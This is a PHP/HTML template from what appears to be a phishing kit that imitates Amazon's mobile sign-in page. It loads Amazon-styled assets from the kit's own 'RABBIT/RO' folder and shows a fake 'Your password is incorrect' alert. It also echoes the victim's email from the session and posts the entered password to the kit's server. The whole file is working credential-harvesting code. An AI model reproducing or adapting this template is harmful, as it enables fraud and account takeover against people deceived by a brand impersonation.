<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html class="a-touch a-mobile a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-gradients a-hires a-transform3d a-touch-scrolling a-ios a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember a-ember-modern awa-browser"><head>
    <meta name="viewport" content="width=device-width, maximum-scale=2, minimum-scale=1, initial-scale=1, shrink-to-fit=no">
    <meta charset="utf-8">
    <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/RO/img/favicon.ico" />
    <title dir="ltr">Amazon Sign-In</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/design-mob.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mob.css">
    <style>
    .a2hs-ingress-container,
    a[href^="#nav-hbm-a2hs-trigger"] {
        display:none!important
    }
    .a2hs-ingress-container.a2hs-ingress-visible,
    a[href^="#nav-hbm-a2hs-trigger"].a2hs-ingress-visible {
        display:block!important
    }
    </style>
    <style>
    @media all and (display-mode:standalone) {
    #chromeless-view-progress-bar,
    #chromeless-view-progress-bar::after {
        position:fixed;
        top:0;
        left:0;
        right:0;
        height:2px
    }
    @keyframes pbAnimation {
        0% {
          right:90%
        }
        100% {
          right:10%
        }
    }
    #chromeless-view-progress-bar {
        background:rgba(255,255,255,.1);
        z-index:9999999
    }
    #chromeless-view-progress-bar::after {
        content:'';
        background:#fcbb6a;
        animation:pbAnimation 10s forwards
      }
    }
    </style>
    <style>
        .custom-x:hover {
            border: 3px solid #0056b3; 
          }
          
          .custom-x:active {
            transform: scale(0.97); 
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
          }
    </style>
</head>
<body class="a-color-offset-background auth-no-skin ap-locale-en_US a-m-us a-aui_72554-c a-aui_a11y_2_750578-t2 a-aui_a11y_6_837773-t2 a-aui_a11y_sr_678508-t1 a-aui_amzn_img_959719-c a-aui_amzn_img_gate_959718-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c auth-show-password-enabled auth-show-password-ready">
    <div id="a-page">
        <div class="a-section a-spacing-none">
            <meta name="theme-color" content="#131921" />
            <style type="text/css">
              .nav-sprite-v3 .nav-sprite {
                background-image: url(<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png);
                background-repeat: no-repeat;
              }
              .nav-spinner {
                background-image: url(<?= base_url() ?>RABBIT/RO/img/snake._CB485935611_.gif);
              }
            </style>
    
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mob.css" />
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobi.css" />
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mo.css" />
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mo.css" />
            <script type="text/javascript">
              $Nav.importEvent("navbarJS-mobile");
              $Nav.declare("img.sprite", {
                png32:
                  "<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png",
                "png32-2x":
                  "<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png",
              });
              window._navbarSpriteUrl =
                "<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png";
              $Nav.declare(
                "img.pixel",
                "<?= base_url() ?>RABBIT/RO/img/transparent-pixel._CB485935036_.gif"
              );
              var nav_t_after_preload_JS = +new Date();
            </script>
            <img
              src="<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png"
              style="display: none"
              alt="" />
            <header
              id="nav-main"
              data-nav-language="en_US"
              class="nav-mobile nav-progressive-attribute nav-locale-us nav-lang-en nav-ssl nav-unrec nav-blueheaven">
              <div
                id="navbar"
                cel_widget_id="Navigation-mobile-navbar"
                role="navigation"
                class="nav-t-basicNoAuth nav-sprite-v3 celwidget">
                <div id="nav-logobar">
                  <div class="nav-left">
                    <div id="nav-logo">
                      <a
                        href="#"
                        id="nav-logo-sprites"
                        class="nav-logo-link nav-progressive-attribute"
                        aria-label="Amazon">
                        <span class="nav-sprite nav-logo-base"></span>
                        <span
                          id="logo-ext"
                          class="nav-sprite nav-logo-ext nav-progressive-content"></span>
                        <span class="nav-logo-locale">.us</span>
                      </a>
                    </div>
                  </div>
                  <div class="nav-right"></div>
                </div>
              </div>
              <div id="nav-progressive-subnav"></div>
            </header>
            <a id="skippedLink" tabindex="-1"></a>
          </div>
        <div class="a-container">
            <div class="a-section a-spacing-none"></div>
            <div class="a-section a-spacing-none auth-pagelet-mobile-container">
                <div aria-live="assertive" id="auth-error-message-box" class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
                    <div class="a-box-inner a-alert-container">
                        <h4 class="a-alert-heading">There was a problem</h4>
                        <div class="a-alert-content">
                            <ul class="a-unordered-list a-nostyle a-vertical" role="alert">
                                <li>
                                    <span class="a-list-item">
                                        Your password is incorrect
                                    </span>
                                </li>
                            </ul>
                        </div>
                    </div>
                </div>
                <noscript>
                    <div id="auth-js-alert-box" class="a-box a-alert a-alert-error auth-client-side-message-box a-spacing-base" role="alert">
                        <div class="a-box-inner a-alert-container">
                            <div class="a-alert-content">
                                This site requires JavaScript to function correctly. Please enable JavaScript on your browser to continue.
                            </div>
                        </div>
                    </div>
                </noscript>
            </div>
              <div class="a-section auth-pagelet-mobile-container">
                <div id="outer-accordion-signin-signup-page" class="a-section">
                    <div id="accordion-signin-signup-page" data-a-accordion-name="accordion-signin-signup-page" class="a-box-group a-accordion a-spacing-medium a-spacing-top-mini" role="radioGroup">
                        <div id="accordion-row-register" class="a-box" data-a-accordion-row-name="accordion-row-register" style="display: none;">
                            <div class="a-box-inner a-accordion-row-container">
                                <div class="a-accordion-row-a11y">
                                    <a id="register_accordion_header" data-csa-c-func-deps="aui-da-a-accordion" data-csa-c-type="widget" data-csa-interaction-events="click" data-action="a-accordion" class="a-accordion-row a-declarative a-accordion-sr" href="https://www.amazon.com/ap/register?showRememberMe=true&amp;openid.pape.max_auth_age=0&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;signInRedirectToFPPThreshold=5&amp;pageId=anywhere_us&amp;ignoreAuthState=1&amp;useSHuMAWorkflow=false&amp;openid.return_to=https%3A%2F%2Fwww.amazon.com%2F%3Fref_%3Dnav_youraccount_switchacct&amp;prevRID=3WF5E4DA8Z7RK0C4VYRG&amp;openid.assoc_handle=anywhere_v2_us&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=&amp;failedSignInCount=0&amp;ref_=ap_sw_aa&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;disableLoginPrepopulate=1&amp;switch_account=signin&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&amp;timestamp=1730920835000" role="radio" aria-checked="false" aria-expanded="false" aria-label="" data-csa-c-id="ejt3iu-d0ztpq-rxlyft-d5z6ky">
                                        <i class="a-icon a-accordion-radio a-icon-radio-inactive"></i>
                                        <h5>
                                            <div class="a-row">
                                                <span class="a-size-base a-text-bold">Create account</span>
                                                <span class="a-size-small accordionHeaderMessage">
                                                    New to Amazon?
                                                </span>
                                            </div>
                                        </h5>
                                    </a>
                                </div>
                            </div>
                        </div>
                        <div id="accordion-row-login" class="a-accordion-active" data-a-accordion-row-name="accordion-row-login">
                            <h1>Sign in</h1>
                            <div class=" a-accordion-row-container">
                                <div class="a-accordion-row-a11y">
                                    <p> 
                                       <?php echo $_SESSION['email']; ?>
                                        <a style="text-decoration: none;" href="#"> Change</a>
                                    </p>
                                </div>
                                <div class="a-accordion">
                                    <form name="signIn" action="/ap/auth/process" method="post" novalidate class="auth-validate-form auth-clearable-form auth-validate-form">
                                        <div class="a-input-text-group a-spacing-medium a-spacing-top-micro">
                                            <label for="ap_password" aria-hidden="true" class="a-form-label">Amazon password</label>
                                            <div id="auth-password-container" class="a-input-text-wrapper auth-required-field auth-password-container auth-password auth-fill-password input_table_layout">
                                                <input type="password" maxlength="1024" id="password" name="password" aria-label="Amazon password" autocomplete="off" autofocus="true" required />
                                            </div>
                                            <div id="inputErrorMsgPass"></div>
                                            
                                            <div class="a-row auth-visible-password-container auth-show-password-empty">
                                                <span class="a-size-small a-color-secondary auth-visible-password"></span>
                                            </div>
                                            <input type="hidden" name="showPasswordChecked" value="true" id="ap_show_password_checked"/>
                                        </div>
                                        <div class="a-row">
                                            <div class="a-column a-span6 a-spacing-medium">
                                                <div id="auth-show-password-checkbox-container" class="a-checkbox a-checkbox-fancy a-control-row a-touch-checkbox auth-show-password-checkbox">
                                                    <label for="auth-signin-show-password-checkbox">
                                                        <input id="auth-signin-show-password-checkbox" type="checkbox" name="" value=""/>
                                                        <i class="a-icon a-icon-checkbox"></i>
                                                        <span class="a-label a-checkbox-label">Show password</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div class="a-column a-span6 a-text-right a-spacing-none a-spacing-top-small a-span-last">
                                                <a id="auth-fpp-link-bottom" class="a-spacing-none a-link-normal" href="#">Forgot password?</a>
                                            </div>
                                        </div>
                                        <span style="box-shadow:1px white" id="auth-signin-button" class="a-button a-button-span12 a-button-primary auth-disable-button-on-submit custom-x">
                                            <span class="a-button-inner">
                                                <input class="a-button-input" type="submit" id="signInSubmit" aria-labelledby="auth-signin-button-announce"/>
                                                <span id="auth-signin-button-announce" class="a-button-text" aria-hidden="true">Sign in</span>
                                            </span>
                                        </span>
                                    </form>
                                <div id="ab-signin-link-section" class="a-section" hidden>
                                    <hr aria-hidden="true" class="a-divider-normal">
                                    <div class="a-section a-spacing-micro">
                                        <span class="a-text-bold">
                                            Buying for work?
                                        </span>
                                    </div>
                                    <a id="ab-signin-ingress-link" class="a-link-normal" href="#">
                                        <span>
                                            Shop on Amazon Business
                                        </span>
                                    </a>
                                </div>
                            </div>
                        </div>
                      </div>
                </div>
            </div>
        </div>
        <footer class="nav-mobile nav-ftr-batmobile">
            <div id="nav-ftr" class="nav-t-footer-basicNoAuth nav-sprite-v3">
              <div class="icp-container-mobile">
                <style type="text/css">
                  #icp-touch-link-language {
                    display: none;
                  }
                </style>
  
                <a
                  href="#"
                  aria-label="Choose a language for shopping. Current selection is English. "
                  aria-owns="nav-flyout-icp-footer-flyout"
                  class="icp-touch-link-2"
                  id="icp-touch-link-language">
                  <div class="icp-nav-globe-img-2 icp-mobile-globe-2"></div>
                  <span class="icp-color-base">English</span
                  ><span class="nav-arrow icp-up-down-arrow"></span>
                </a>
  
                <style type="text/css">
                  #icp-touch-link-country {
                    display: none;
                  }
                </style>
                <a
                  href="#"
                  aria-label="Choose a country/region for shopping. The current selection is United States."
                  class="icp-touch-link-2"
                  id="icp-touch-link-country">
                  <span class="icp-flag-3 icp-flag-3-us"></span
                  ><span class="icp-color-base">United States</span>
                </a>
              </div>
  
              <ul class="nav-ftr-horiz">
                <li class="nav-li">
                  <a
                    href="#"
                    id=""
                    class="nav-a"
                    >Conditions of Use</a
                  >
                </li>
                <li class="nav-li">
                  <a
                    href="#"
                    id=""
                    class="nav-a"
                    >Privacy Notice</a
                  >
                </li>
                <li class="nav-li">
                  <a
                    href="#"
                    id=""
                    class="nav-a"
                    >Consumer Health Data Privacy Disclosure</a
                  >
                </li>
                <li class="nav-li">
                  <a href="#" id="" class="nav-a"
                    >Your Ads Privacy Choices</a
                  >
                </li>
                <li class="nav-li">
                  <span id="nav-icon-ccba" class="nav-sprite"></span>
                </li>
              </ul>
  
              <div id="nav-ftr-copyright">
                &copy; 1996-2025, Amazon.com, Inc. or its affiliates
              </div>
              <div id="nav-ftr-legal"></div>
            </div>
          </footer>
          <div
          id="sis_pixel_r2"
          aria-hidden="true"
          style="
            height: 1px;
            position: absolute;
            left: -1000000px;">
        </div>
    </div>
</div>
</div>
    <!-- Masking -->
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.mask.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.validate.min.js"></script>
    <script>

const showPasswordCheckbox = document.getElementById('auth-signin-show-password-checkbox');
const passwordInput = document.getElementById('password');
const passwordIcon = document.getElementById('ap_password_icon');
const passwordVisibleText = document.querySelector('.auth-visible-password');
const showPasswordHiddenInput = document.getElementById('ap_show_password_checked');

showPasswordCheckbox.addEventListener('change', function() {
    if (showPasswordCheckbox.checked) {

        passwordInput.type = 'text';
        passwordVisibleText.textContent = '•'.repeat(passwordInput.value.length);  
        passwordVisibleText.classList.remove('auth-show-password-empty');
        passwordIcon.classList.add('a-icon-close');
        showPasswordHiddenInput.value = 'true';
    } else {

        passwordInput.type = 'password';
        passwordVisibleText.textContent = ''; // Kosongkan teks
        passwordVisibleText.classList.add('auth-show-password-empty');
        passwordIcon.classList.remove('a-icon-close');
        showPasswordHiddenInput.value = 'false';
    }
});


passwordIcon.addEventListener('click', function() {
    passwordInput.value = '';  
    passwordVisibleText.textContent = ''; 
    passwordVisibleText.classList.add('auth-show-password-empty');
    passwordInput.type = 'password'; 
    showPasswordCheckbox.checked = false;  
    showPasswordHiddenInput.value = 'false'; 
});
    </script>
    <script type="text/javascript">
        $('#password').on("keyup , focus", () => {
        let password = $("#password").val()
        if (password == "") {
            $("#signInSubmit").prop("disabled", true)
            $("#password").addClass('error').removeClass('hasText')
            $("#inputErrorMsgPass").show().html('<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">Enter your password</div></div></div>')
            $("#password").parent().parent().parent().removeClass('validated')
        } else if (password.length < 6) {
            $("#signInSubmit").prop("disabled", true)
            $("#password").addClass('error').addClass("hasText")
            $("#inputErrorMsgPass").show().html('<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">Enter your check a password</div></div></div>')
            $("#password").parent().parent().parent().removeClass('validated')
        } else {
            $("#signInSubmit").prop("disabled", false)
            $("#password").removeClass('error').addClass("hasText")
            $("#inputErrorMsgPass").hide()
            $("#password").parent().parent().parent().addClass('validated')
        }
    });
    </script>
    <!-- Masking -->
</body>
</html>